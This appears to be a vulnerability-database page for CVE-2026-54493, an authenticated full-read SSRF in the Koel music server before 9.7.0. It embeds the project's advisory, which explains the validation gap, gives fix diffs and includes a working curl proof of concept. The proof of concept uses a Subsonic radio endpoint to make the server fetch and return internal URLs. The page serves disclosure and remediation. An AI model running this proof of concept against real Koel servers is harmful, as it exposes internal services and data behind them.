CVE-2026-54493: Koel Authenticated Full-Read SSRF Vulnerability
HIGHCVE-2026-54493 is a HIGH (CVSS 7.7) authenticated full-read ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Koel libraries in the Packagist ecosystem. The issue involves authenticated full-read ssrf via subsonic internet radio stations. Remediation is available by upgrading affected packages to version 9.7.0.
CVE-2026-54493 at a Glance
Security Impact
CVSS: 7.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
How to Fix CVE-2026-54493
To remediate this vulnerability, upgrade all affected Koel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade phanan/koel to 9.7.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for phanan/koel
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-54493, inspect your project dependencies for Koel:
inspect dependencies for phanan/koel
Analyze the terminal output to locate any version of Koel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.7.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Koel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-54493 Affected Koel Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
phanan/koel
|
Packagist |
< 9.7.0
|
9.7.0
|
References
Frequently Asked Questions
What is CVE-2026-54493?
Which Koel versions are affected?
What version fixes CVE-2026-54493?
Is phanan/koel affected?
What is the CVSS score of CVE-2026-54493?
What CWE is associated with CVE-2026-54493?
How can I check Packagist dependencies for CVE-2026-54493?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-6p96-cfg5-4vhp",
"modified" : "2026-07-15T17:13:23Z",
"published" : "2026-07-15T17:13:23Z",
"aliases" : [ "CVE-2026-54493" ],
"summary" : "Koel: Authenticated Full-Read SSRF via Subsonic Internet Radio Stations",
"details" : "### Summary\nKoel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel's radio streaming feature to make the server fetch that URL and return the upstream response body.\n\nThis was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.\n\n### Details\n#### SafeUrl is applied on the web API, but not on the Subsonic endpoints\n\nKoel's regular radio API protects station URLs with `SafeUrl` and `HasAudioContentType`:\n\n- `app/Http/Requests/API/Radio/RadioStationStoreRequest.php`\n- `app/Http/Requests/API/Radio/RadioStationUpdateRequest.php`\n\n```php\nnew SafeUrl(),\nnew HasAudioContentType(),\n```\n\nThe Subsonic-compatible routes do not reuse those checks:\n\n- `routes/subsonic.php`\n - `createInternetRadioStation.view`\n - `updateInternetRadioStation.view`\n- `app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php`\n- `app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php`\n\n```php\nreturn [\n 'streamUrl' => ['required', 'string'],\n 'name' => ['required', 'string'],\n 'homepageUrl' => ['nullable', 'string'],\n];\n```\n\nThe result is a validation gap between two routes that create the same type of object.\n\n#### The unvalidated URL is stored and later fetched server-side\n\nThe Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:\n\n- `app/Http/Controllers/Subsonic/CreateInternetRadioStationController.php`\n- `app/Http/Controllers/Subsonic/UpdateInternetRadioStationController.php`\n- `app/Services/RadioService.php`\n\nThe SSRF is triggered when the station is played:\n\n- `app/Http/Controllers/StreamRadioController.php`\n- `app/Services/Radio/RadioStreamService.php`\n- `app/Services/Radio/RadioStreamProxy.php`\n\n`RadioStreamProxy::openStream()` opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:\n\n```php\n$stream = fopen($url, 'r', false, $context);\n```\n\n#### The response body is returned to the attacker\n\nIf the upstream response is treated as a normal stream, Koel forwards it back to the client:\n\n```php\nwhile (!feof($stream) && !connection_aborted()) {\n echo fread($stream, 8192);\n flush();\n}\n```\n\nThat makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through `/radio/stream/{id}`.\n\nThis behavior also differs from the documented expectation in `docs/usage/radio.md`, which says Koel checks the URL when adding or editing a radio station.\n\n### PoC\nThe following steps were validated against the official `phanan/koel:9.6.0` image.\n\n1. Authenticate and obtain an API token:\n\n```bash\nAPI_TOKEN=$(\n curl -sS -X POST http://127.0.0.1:18081/api/me \\\n -H 'Content-Type: application/json' \\\n --data '{\"email\":\"admin@koel.dev\",\"password\":\"KoelIsCool\"}' \\\n | python3 -c 'import json,sys; print(json.load(sys.stdin)[\"token\"])'\n)\n```\n\n2. Obtain the user's Subsonic API key:\n\n```bash\nSUBSONIC_KEY=$(\n curl -sS http://127.0.0.1:18081/api/data \\\n -H \"Authorization: Bearer $API_TOKEN\" \\\n | python3 -c 'import json,sys; print(json.load(sys.stdin)[\"current_user\"][\"subsonic_api_key\"])'\n)\n```\n\n3. Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:\n\n```bash\nTARGET_URL=\"http://172.17.0.1:18090/feed.xml\"\n```\n\n4. Confirm the regular web API blocks the URL:\n\n```bash\ncurl -i -X POST http://127.0.0.1:18081/api/radio/stations \\\n -H \"Authorization: Bearer $API_TOKEN\" \\\n -H 'Accept: application/json' \\\n -H 'Content-Type: application/json' \\\n --data \"{\\\"name\\\":\\\"blocked\\\",\\\"url\\\":\\\"$TARGET_URL\\\"}\"\n```\n\nExpected result:\n\n- HTTP `422`\n- Error includes `The url must point to a public URL.`\n\n5. Create the same station through the Subsonic route:\n\n```bash\ncurl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \\\n --data-urlencode \"apiKey=$SUBSONIC_KEY\" \\\n --data-urlencode 'f=json' \\\n --data-urlencode 'name=xmlpeek' \\\n --data-urlencode \"streamUrl=$TARGET_URL\"\n```\n\nExpected result:\n\n- HTTP `200`\n- JSON includes `\"status\":\"ok\"`\n\n6. Resolve the station ID and stream it:\n\n```bash\nSTATION_ID=$(\n curl -sS \"http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json\" \\\n | python3 -c 'import json,sys; items=json.load(sys.stdin)[\"subsonic-response\"][\"internetRadioStations\"][\"internetRadioStation\"]; print(next(x[\"id\"] for x in items if x[\"name\"]==\"xmlpeek\"))'\n)\n\ncurl -i \"http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN\"\n```\n\nExpected result:\n\n- HTTP `200`\n- Response body contains the upstream content from the internal target URL\n\nAn authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.\n\nPractical impact includes:\n\n- Reading loopback-only, RFC1918, or Docker-bridge HTTP services\n- Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed\n- Performing internal HTTP reconnaissance and retrieving content through Koel itself\n\nSince the response body is returned to the attacker, the impact is materially higher than a blind SSRF.\n\n### Remediation\n\nThe Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.\n\nSuggested patch for `app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php`:\n\n```diff\ndiff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php\n--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php\n+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php\n@@\n namespace App\\Http\\Requests\\Subsonic;\n \n use App\\Http\\Requests\\Request;\n+use App\\Rules\\HasAudioContentType;\n+use App\\Rules\\SafeUrl;\n@@\n public function rules(): array\n {\n return [\n- 'streamUrl' => ['required', 'string'],\n+ 'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],\n 'name' => ['required', 'string'],\n 'homepageUrl' => ['nullable', 'string'],\n ];\n }\n }\n```\n\nSuggested patch for `app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php`:\n\n```diff\ndiff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php\n--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php\n+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php\n@@\n namespace App\\Http\\Requests\\Subsonic;\n \n use App\\Http\\Requests\\Request;\n+use App\\Rules\\HasAudioContentType;\n+use App\\Rules\\SafeUrl;\n@@\n public function rules(): array\n {\n return [\n 'id' => ['required', 'string'],\n- 'streamUrl' => ['required', 'string'],\n+ 'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],\n 'name' => ['required', 'string'],\n 'homepageUrl' => ['nullable', 'string'],\n ];\n }\n }\n```\n\nSuggested defense-in-depth patch for `app/Services/Radio/RadioStreamProxy.php`:\n\n```diff\ndiff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php\n--- a/app/Services/Radio/RadioStreamProxy.php\n+++ b/app/Services/Radio/RadioStreamProxy.php\n@@\n namespace App\\Services\\Radio;\n \n+use App\\Helpers\\Network;\n use App\\Models\\RadioStation;\n \n class RadioStreamProxy\n {\n+ public function __construct(private readonly Network $network) {}\n+\n@@\n public function openStream(string $url)\n {\n+ if (!$this->network->isSafeUrl($url)) {\n+ return false;\n+ }\n+\n $context = stream_context_create([\n 'http' => [\n 'header' => \"Icy-MetaData: 1\\r\\n\",\n 'timeout' => 5,\n ],\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "phanan/koel"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "9.7.0"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 9.6.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/koel/koel/security/advisories/GHSA-6p96-cfg5-4vhp"
}, {
"type" : "WEB",
"url" : "https://github.com/koel/koel/pull/2545"
}, {
"type" : "WEB",
"url" : "https://github.com/koel/koel/commit/1331f335342b405e60ffabdd60f1f398508f996f"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/koel/koel"
}, {
"type" : "WEB",
"url" : "https://github.com/koel/koel/releases/tag/v9.7.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-15T17:13:23Z",
"nvd_published_at" : null
}
}